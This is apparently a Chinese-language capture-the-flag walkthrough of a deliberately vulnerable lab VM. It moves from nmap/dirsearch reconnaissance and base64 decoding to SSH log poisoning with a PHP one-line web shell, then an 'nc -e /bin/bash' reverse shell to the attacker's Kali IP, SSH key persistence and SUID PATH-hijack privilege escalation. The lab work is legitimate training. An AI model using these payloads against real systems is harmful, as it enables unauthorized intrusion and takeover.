文章目录
环境:下载靶机、解压、VMware打开,并将其和kali虚拟机的网络调成NAT模式
kali扫描不到靶机IP解决办法请看Momentum2中有解决办法
一.明确目标 🎈🎈
探测目标主机IP情况
sudo arp-scan -l
目标主机IP:192.168.107.138
Kali的IP:192.168.107.129
二.信息搜集 🎈
Nmap 进行常规端口开放扫描
nmap 192.168.107.134 -p- -A
发现目标靶机开放了ssh 22端口,http 80端口。(以及Apache httpd 2.4.38 Debian的版本, OpenSSH 7.9p1 Debian)
在浏览器中访问一下目标靶机的80端口:
暂时没发现啥可以利用的
🍉 1.使用dirsearch命令对靶机网站目录进行扫描 🍉 🍉
dirsearch -u 192.168.107.138
Target: http://192.168.107.138/
[07:21:38] Starting:
[07:21:39] 403 - 280B - /.ht_wsr.txt
[07:21:39] 403 - 280B - /.htaccess.orig
[07:21:39] 403 - 280B - /.htaccess.bak1
[07:21:39] 403 - 280B - /.htaccess.sample
[07:21:39] 403 - 280B - /.htaccess_orig
[07:21:39] 403 - 280B - /.htaccess_extra
[07:21:39] 403 - 280B - /.htaccess.save
[07:21:39] 403 - 280B - /.htaccessBAK
[07:21:39] 403 - 280B - /.htaccessOLD
[07:21:39] 403 - 280B - /.htaccess_sc
[07:21:39] 403 - 280B - /.htaccessOLD2
[07:21:39] 403 - 280B - /.html
[07:21:39] 403 - 280B - /.htm
[07:21:39] 403 - 280B - /.httr-oauth
[07:21:39] 403 - 280B - /.htpasswd_test
[07:21:39] 403 - 280B - /.htpasswds
[07:21:40] 403 - 280B - /.php
[07:21:42] 200 - 11B - /MANIFEST.MF
[07:21:42] 200 - 11B - /Makefile
[07:21:55] 301 - 319B - /drupal -> http://192.168.107.138/drupal/
[07:21:59] 200 - 1KB - /index.html
[07:22:07] 301 - 323B - /phpmyadmin -> http://192.168.107.138/phpmyadmin/
[07:22:08] 200 - 268B - /phpmyadmin/
[07:22:09] 301 - 320B - /privacy -> http://192.168.107.138/privacy/
[07:22:10] 200 - 37B - /robots.txt
[07:22:11] 301 - 319B - /secret -> http://192.168.107.138/secret/
[07:22:11] 200 - 90B - /secret/
[07:22:11] 403 - 280B - /server-status
[07:22:11] 403 - 280B - /server-status/
[07:22:17] 200 - 948B - /wp-admin/
[07:22:17] 301 - 321B - /wp-admin -> http://192.168.107.138/wp-admin/
Task Completed
http://192.168.107.138/MANIFEST.MF
http://192.168.107.138/drupal/
http://192.168.107.138/phpmyadmin/
http://192.168.107.138/privacy/
http://192.168.107.138/robots.txt
http://192.168.107.138/secret/
http://192.168.107.138/wp-admin/ji
经过浏览器逐个访问,发现http://192.168.107.138/robots.txt下有东西
再去访问一下http://192.168.107.138/eventadmins/,里面有个目录 /littlequeenofspades.html
大该意思说SSH存在问题,切让我们检查 这个文件littlequeenofspades.html
浏览器访问http://192.168.107.138/littlequeenofspades.html
发现好像是一串个歌词 但是好像没啥用 F12
查看源代码 ,发现是一串base64
加密的 直接解码
aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==
在线解密一下:http://www.jsons.cn/base64/
经过两次base64解密得到了/adminsfixit.php
浏览器访问http://192.168.107.138/adminsfixit.php
发现居然是ssh的日志记录,看到出现ssh auth log --> ssh身份验证日志,并且注意到登录用户名显示在日志中,也就是说如果我们使用ssh登陆时,那么我们就可以在用户名处注入可以被执行的脚本(一句话木马)然后尝试访问它就可以实现RCE命令执行。
🌈2.在kali中进行SSH登录,且把用户名改为一句话木马 🌈 🌈 🌈
ssh '<?php system($_GET["cmd"]);?>'@192.168.107.139
😁 😁 😁嘿嘿!!!这里靶机被玩坏了,重置了靶机,其IP变为192.168.107.139
curl -i -L http://192.168.107.139/adminsfixit.php?cmd=ls
写入成功,且RCE执行成功!!!
🥝3.使用nc回弹shell:🌈🌈🌈
kali开启监听:
使用nc进行反弹,反弹成功!!!
http://192.168.107.139/adminsfixit.php?cmd=nc -e /bin/bash 192.168.107.129 8888
获得交互shell
SHELL=/bin/bash script /dev/null
在home目录下发现一个新用户发现user.txt,但是查看不了
发现存在.ssh文件夹,但里面是空的,没有任何东西。
此时我们可以尝试SSH公钥私钥免密登陆
查看ssh配置文件/etc/ssh/sshd_config,如下图PubkeyAuthentication选项参数值为yes,打开这个功能,表示ssh允许公钥登录。
并且此时我们看到.ssh文件夹有着wrx所有的权限,好家伙,所以我们可以把公钥文件放入这个文件夹,进行登录!
直接在目标机生成一个公钥:ssh-keygen -t rsa
将生成的私钥保存到:/home/robertj/.ssh/id_rsa
将 SSH 公钥文件重命名为 authorized_keys ,用于 SSH 登陆认证
cat id_rsa.pub > authorized_keys
然后将私钥复制到本机
chmod 400 id_rsa
然后把这ssh
私钥复制到桌面 因为我这里输入了密码:123456
所以等下也要输入!!!
💎4.ssh私钥登入: 🎉 🎉 🎉
三.提权 🧸🧸
🔭1.find查找具有suid权限的命令 ⚽ ⚽ ⚽
find / -perm -u=s -type f 2>/dev/null
find / -perm 4000 -type f 2>/dev/null (两个相同的结果)
发现一个getinfo命令
执行一下命令,发现这个命令集合了(系统命令)
这里既然调用了系统命令,那么我们可以自行编写一个同名文件,比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权
🍓 2.环境变量命令劫持提权 🍀 🍀 🍀
因此,在这种情况下,我们可以在环境变量 PATH 中提供一个目录 (/tmp),并创建一
个 ip 或者 cat 文件,用于劫持命令,执行我们自定义的二进制文件就可以提权:
cd /tmp
export PATH=/tmp/:$PATH 把/tmp路径加入到系统路径中。
echo '/bin/bash' > cat 把/bin/bash写入到ip中。
chmod +x cat 增加执行权限
getinfo
提权成功!!!
四.总结 🔎🔎
- 信息收集,端口日常开放22、80端口,隐藏目录dirsearch测试一波。
- 多层隐藏目录一层扣一层,最后还查看源代码发现了base64密码串。
- 通过base64密码串解密得到了一个SSH日志信息记录,使用异常的ssh登陆(将用户名改为一句话木马,实现RCE),并通过nc反弹shell。
- 反弹shell成功后,在home下发现新用户一定要进去看一看,发现了.ssh文件
- SSH公钥私钥免密登陆(又是新知识)。
- 最后常规SUID搜索发现一个getinfo命令集合了系统命令。
- 使用环境变量进行命令劫持提权(还是新知识)。